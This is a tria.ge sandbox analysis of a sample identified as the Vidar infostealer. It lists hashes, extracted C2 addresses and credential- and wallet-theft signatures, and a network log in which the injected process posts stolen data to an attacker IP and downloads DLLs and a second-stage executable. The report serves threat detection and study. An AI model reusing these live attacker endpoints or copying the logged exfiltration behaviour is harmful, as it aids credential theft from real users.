Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

file.exe

windows7-x64

7

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    76s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/10/2024, 01:25 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    file.exe

  • Size

    396KB

  • MD5

    cc94be13bc24599e326d03ca246a61fa

  • SHA1

    73ed54a021153213ee4823683e4a9376b479d939

  • SHA256

    41ee1357282ed8722ff127ac17ff0831a92a54e72c32a560abeae0d27f5c090e

  • SHA512

    b2da25e014462b410d8a68dfd09c0159772271b7f706c95ab2ef517060dd5305a02b49ac021a80d9c21624c8c02bdde9b62be9dcbace2308802edcc3a336b125

  • SSDEEP

    6144:bXqwxGuBem9P3ofEPGc8V8vkl4vn6QdG9eB4RyWTkui4ZR6d0psZ8EZ:bXqGGTvNUw435B4pZR6d0psaEZ

Score
10/10
vidar433cd71b7a2bdd3668a493b00ee95630credential_accessdiscoveryspywarestealer

Malware Config

Extracted

Family

vidar

Version

11

Botnet

433cd71b7a2bdd3668a493b00ee95630

C2

https://steamcommunity.com/profiles/76561199780418869

https://t.me/ae5ed
Attributes
  • user_agent

    Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0

Signatures

  • Detect Vidar Stealer 15 IoCs
    stealer
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Downloads MZ/PE file
  • Loads dropped DLL 3 IoCs
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1084
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:2136

Network

  • flag-us
    DNS
    104.219.191.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    104.219.191.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    steamcommunity.com
    aspnet_regiis.exe
    Remote address:
    8.8.8.8:53
    Request
    steamcommunity.com
    IN A
    Response
    steamcommunity.com
    IN A
    104.82.234.109
  • flag-gb
    GET
    https://steamcommunity.com/profiles/76561199780418869
    aspnet_regiis.exe
    Remote address:
    104.82.234.109:443
    Request
    GET /profiles/76561199780418869 HTTP/1.1
    Host: steamcommunity.com
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Content-Type: text/html; charset=UTF-8
    Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;
    Expires: Mon, 26 Jul 1997 05:00:00 GMT
    Cache-Control: no-cache
    Date: Thu, 03 Oct 2024 01:25:09 GMT
    Content-Length: 34935
    Connection: keep-alive
    Set-Cookie: sessionid=f30fe15d6c4c81a801a5ef3b; Path=/; Secure; SameSite=None
    Set-Cookie: steamCountry=GB%7Ce15d564837abb028acb4e114150d704d; Path=/; Secure; HttpOnly; SameSite=None
  • flag-de
    GET
    https://49.12.197.9/
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    GET / HTTP/1.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:10 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-us
    DNS
    83.210.23.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    83.210.23.2.in-addr.arpa
    IN PTR
    Response
    83.210.23.2.in-addr.arpa
    IN PTR
    a2-23-210-83deploystaticakamaitechnologiescom
  • flag-us
    DNS
    109.234.82.104.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    109.234.82.104.in-addr.arpa
    IN PTR
    Response
    109.234.82.104.in-addr.arpa
    IN PTR
    a104-82-234-109deploystaticakamaitechnologiescom
  • flag-us
    DNS
    9.197.12.49.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    9.197.12.49.in-addr.arpa
    IN PTR
    Response
    9.197.12.49.in-addr.arpa
    IN PTR
    static91971249clients your-serverde
  • flag-de
    POST
    https://49.12.197.9/
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----CAFHDBGHJKFIDHJJJEBK
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Content-Length: 256
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:11 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://49.12.197.9/
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----DBAEGCGCGIEGDHIDHJJE
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Content-Length: 331
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:11 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-us
    DNS
    138.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    138.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-de
    POST
    https://49.12.197.9/
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAA
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Content-Length: 331
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:12 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://49.12.197.9/
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----CBAKEBGIIDAFIDHIIECF
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Content-Length: 332
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:12 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://49.12.197.9/
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAE
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Content-Length: 4649
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:13 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    GET
    https://49.12.197.9/sqlp.dll
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    GET /sqlp.dll HTTP/1.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:13 GMT
    Content-Type: application/octet-stream
    Content-Length: 2459136
    Connection: keep-alive
    Last-Modified: Thursday, 03-Oct-2024 01:25:13 GMT
    Cache-Control: no-store, no-cache
    Accept-Ranges: bytes
  • flag-de
    POST
    https://49.12.197.9/
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----IJECBGIJDGCAEBFIIECA
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Content-Length: 437
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:15 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://49.12.197.9/
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJE
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Content-Length: 437
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:16 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    GET
    https://49.12.197.9/freebl3.dll
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    GET /freebl3.dll HTTP/1.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:16 GMT
    Content-Type: application/octet-stream
    Content-Length: 685392
    Connection: keep-alive
    Last-Modified: Thursday, 03-Oct-2024 01:25:16 GMT
    Cache-Control: no-store, no-cache
    Accept-Ranges: bytes
  • flag-de
    GET
    https://49.12.197.9/mozglue.dll
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    GET /mozglue.dll HTTP/1.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:16 GMT
    Content-Type: application/octet-stream
    Content-Length: 608080
    Connection: keep-alive
    Last-Modified: Thursday, 03-Oct-2024 01:25:16 GMT
    Cache-Control: no-store, no-cache
    Accept-Ranges: bytes
  • flag-de
    GET
    https://49.12.197.9/msvcp140.dll
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    GET /msvcp140.dll HTTP/1.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:17 GMT
    Content-Type: application/octet-stream
    Content-Length: 450024
    Connection: keep-alive
    Last-Modified: Thursday, 03-Oct-2024 01:25:17 GMT
    Cache-Control: no-store, no-cache
    Accept-Ranges: bytes
  • flag-de
    GET
    https://49.12.197.9/softokn3.dll
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    GET /softokn3.dll HTTP/1.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:17 GMT
    Content-Type: application/octet-stream
    Content-Length: 257872
    Connection: keep-alive
    Last-Modified: Thursday, 03-Oct-2024 01:25:17 GMT
    Cache-Control: no-store, no-cache
    Accept-Ranges: bytes
  • flag-de
    GET
    https://49.12.197.9/vcruntime140.dll
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    GET /vcruntime140.dll HTTP/1.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:18 GMT
    Content-Type: application/octet-stream
    Content-Length: 80880
    Connection: keep-alive
    Last-Modified: Thursday, 03-Oct-2024 01:25:18 GMT
    Cache-Control: no-store, no-cache
    Accept-Ranges: bytes
  • flag-de
    GET
    https://49.12.197.9/nss3.dll
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    GET /nss3.dll HTTP/1.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:18 GMT
    Content-Type: application/octet-stream
    Content-Length: 2046288
    Connection: keep-alive
    Last-Modified: Thursday, 03-Oct-2024 01:25:18 GMT
    Cache-Control: no-store, no-cache
    Accept-Ranges: bytes
  • flag-us
    DNS
    228.249.119.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    228.249.119.40.in-addr.arpa
    IN PTR
    Response
  • flag-de
    POST
    https://49.12.197.9/
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGH
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Content-Length: 1025
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:19 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://49.12.197.9/
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----JKJDHDBKEBGHJJJJKEHD
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Content-Length: 331
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:20 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://49.12.197.9/
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECB
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Content-Length: 331
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:21 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://49.12.197.9/
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----DBAEGCGCGIEGDHIDHJJE
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Content-Length: 461
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:21 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://49.12.197.9/
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----AFIIEBGCAAECBGCBGCBK
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Content-Length: 103649
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:23 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-de
    POST
    https://49.12.197.9/
    aspnet_regiis.exe
    Remote address:
    49.12.197.9:443
    Request
    POST / HTTP/1.1
    Content-Type: multipart/form-data; boundary=----BGIJJKKJJDAAAAAKFHJJ
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 49.12.197.9
    Content-Length: 331
    Connection: Keep-Alive
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:23 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
  • flag-ch
    GET
    http://147.45.44.104/ldms/a43486128347.exe
    aspnet_regiis.exe
    Remote address:
    147.45.44.104:80
    Request
    GET /ldms/a43486128347.exe HTTP/1.1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
    Host: 147.45.44.104
    Cache-Control: no-cache
    Response
    HTTP/1.1 200 OK
    Server: nginx
    Date: Thu, 03 Oct 2024 01:25:23 GMT
    Content-Type: application/octet-stream
    Content-Length: 13
    Last-Modified: Thu, 03 Oct 2024 01:25:21 GMT
    Connection: keep-alive
    Keep-Alive: timeout=120
    ETag: "66fdf281-d"
    X-Content-Type-Options: nosniff
    Accept-Ranges: bytes
  • flag-us
    DNS
    104.44.45.147.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    104.44.45.147.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    196.249.167.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    196.249.167.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    50.23.12.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    50.23.12.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    206.23.85.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    206.23.85.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    75.117.19.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    75.117.19.2.in-addr.arpa
    IN PTR
    Response
    75.117.19.2.in-addr.arpa
    IN PTR
    a2-19-117-75deploystaticakamaitechnologiescom
  • 104.82.234.109:443
    https://steamcommunity.com/profiles/76561199780418869
    tls, http
    aspnet_regiis.exe
    2.3kB
     42.6kB
     40
    38

    HTTP Request

    GET https://steamcommunity.com/profiles/76561199780418869

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/
    tls, http
    aspnet_regiis.exe
    958 B
     2.7kB
     11
    8

    HTTP Request

    GET https://49.12.197.9/

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/
    tls, http
    aspnet_regiis.exe
    1.4kB
     622 B
     9
    6

    HTTP Request

    POST https://49.12.197.9/

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/
    tls, http
    aspnet_regiis.exe
    1.5kB
     2.2kB
     10
    7

    HTTP Request

    POST https://49.12.197.9/

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/
    tls, http
    aspnet_regiis.exe
    1.6kB
     6.4kB
     13
    10

    HTTP Request

    POST https://49.12.197.9/

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/
    tls, http
    aspnet_regiis.exe
    1.4kB
     672 B
     9
    6

    HTTP Request

    POST https://49.12.197.9/

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/
    tls, http
    aspnet_regiis.exe
    5.9kB
     565 B
     13
    6

    HTTP Request

    POST https://49.12.197.9/

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/sqlp.dll
    tls, http
    aspnet_regiis.exe
    94.8kB
     2.5MB
     1838
    1835

    HTTP Request

    GET https://49.12.197.9/sqlp.dll

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/
    tls, http
    aspnet_regiis.exe
    1.5kB
     565 B
     9
    6

    HTTP Request

    POST https://49.12.197.9/

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/
    tls, http
    aspnet_regiis.exe
    1.5kB
     565 B
     9
    6

    HTTP Request

    POST https://49.12.197.9/

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/freebl3.dll
    tls, http
    aspnet_regiis.exe
    24.4kB
     707.6kB
     517
    514

    HTTP Request

    GET https://49.12.197.9/freebl3.dll

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/mozglue.dll
    tls, http
    aspnet_regiis.exe
    22.1kB
     627.8kB
     459
    456

    HTTP Request

    GET https://49.12.197.9/mozglue.dll

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/msvcp140.dll
    tls, http
    aspnet_regiis.exe
    16.3kB
     464.7kB
     341
    338

    HTTP Request

    GET https://49.12.197.9/msvcp140.dll

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/softokn3.dll
    tls, http
    aspnet_regiis.exe
    9.8kB
     266.6kB
     199
    196

    HTTP Request

    GET https://49.12.197.9/softokn3.dll

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/vcruntime140.dll
    tls, http
    aspnet_regiis.exe
    3.7kB
     84.0kB
     68
    65

    HTTP Request

    GET https://49.12.197.9/vcruntime140.dll

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/nss3.dll
    tls, http
    aspnet_regiis.exe
    70.7kB
     2.1MB
     1523
    1520

    HTTP Request

    GET https://49.12.197.9/nss3.dll

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/
    tls, http
    aspnet_regiis.exe
    2.2kB
     605 B
     10
    7

    HTTP Request

    POST https://49.12.197.9/

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/
    tls, http
    aspnet_regiis.exe
    1.5kB
     2.8kB
     10
    7

    HTTP Request

    POST https://49.12.197.9/

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/
    tls, http
    aspnet_regiis.exe
    1.5kB
     2.1kB
     10
    7

    HTTP Request

    POST https://49.12.197.9/

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/
    tls, http
    aspnet_regiis.exe
    1.6kB
     565 B
     9
    6

    HTTP Request

    POST https://49.12.197.9/

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/
    tls, http
    aspnet_regiis.exe
    108.2kB
     2.0kB
     90
    40

    HTTP Request

    POST https://49.12.197.9/

    HTTP Response

    200
  • 49.12.197.9:443
    https://49.12.197.9/
    tls, http
    aspnet_regiis.exe
    1.6kB
     755 B
     12
    8

    HTTP Request

    POST https://49.12.197.9/

    HTTP Response

    200
  • 147.45.44.104:80
    http://147.45.44.104/ldms/a43486128347.exe
    http
    aspnet_regiis.exe
    459 B
     486 B
     6
    4

    HTTP Request

    GET http://147.45.44.104/ldms/a43486128347.exe

    HTTP Response

    200
  • 8.8.8.8:53
    104.219.191.52.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    104.219.191.52.in-addr.arpa

  • 8.8.8.8:53
    steamcommunity.com
    dns
    aspnet_regiis.exe
    64 B
     80 B
     1
    1

    DNS Request

    steamcommunity.com

    DNS Response

    104.82.234.109

  • 8.8.8.8:53
    83.210.23.2.in-addr.arpa
    dns
    70 B
     133 B
     1
    1

    DNS Request

    83.210.23.2.in-addr.arpa

  • 8.8.8.8:53
    109.234.82.104.in-addr.arpa
    dns
    73 B
     139 B
     1
    1

    DNS Request

    109.234.82.104.in-addr.arpa

  • 8.8.8.8:53
    9.197.12.49.in-addr.arpa
    dns
    70 B
     125 B
     1
    1

    DNS Request

    9.197.12.49.in-addr.arpa

  • 8.8.8.8:53
    138.32.126.40.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    138.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    228.249.119.40.in-addr.arpa
    dns
    73 B
     159 B
     1
    1

    DNS Request

    228.249.119.40.in-addr.arpa

  • 8.8.8.8:53
    104.44.45.147.in-addr.arpa
    dns
    72 B
     127 B
     1
    1

    DNS Request

    104.44.45.147.in-addr.arpa

  • 8.8.8.8:53
    196.249.167.52.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    196.249.167.52.in-addr.arpa

  • 8.8.8.8:53
    50.23.12.20.in-addr.arpa
    dns
    70 B
     156 B
     1
    1

    DNS Request

    50.23.12.20.in-addr.arpa

  • 8.8.8.8:53
    206.23.85.13.in-addr.arpa
    dns
    71 B
     145 B
     1
    1

    DNS Request

    206.23.85.13.in-addr.arpa

  • 8.8.8.8:53
    75.117.19.2.in-addr.arpa
    dns
    70 B
     133 B
     1
    1

    DNS Request

    75.117.19.2.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\FHIDAFHCBA.exe
    Filesize

    13B

    MD5

    aee9784c03b80d38d3271cde2b252b8d

    SHA1

    e5fd9aa24c9417e7332e6f25936ae2a6ec8f1524

    SHA256

    27c2ccd962c2b8dccb52fe3688ab236f186f7a41fd57d810478712048e9ad3f8

    SHA512

    a83c2f678a77228f5c7f2fb61a723217892b8422913739d1c65cb97701c341361eeee617e9d050a86b552db4dd87b18cfb94443977a75a5862171346609e9472

    Download Submit

  • C:\ProgramData\mozglue.dll
    Filesize

    593KB

    MD5

    c8fd9be83bc728cc04beffafc2907fe9

    SHA1

    95ab9f701e0024cedfbd312bcfe4e726744c4f2e

    SHA256

    ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

    SHA512

    fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

    Download Submit

  • C:\ProgramData\nss3.dll
    Filesize

    2.0MB

    MD5

    1cc453cdf74f31e4d913ff9c10acdde2

    SHA1

    6e85eae544d6e965f15fa5c39700fa7202f3aafe

    SHA256

    ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

    SHA512

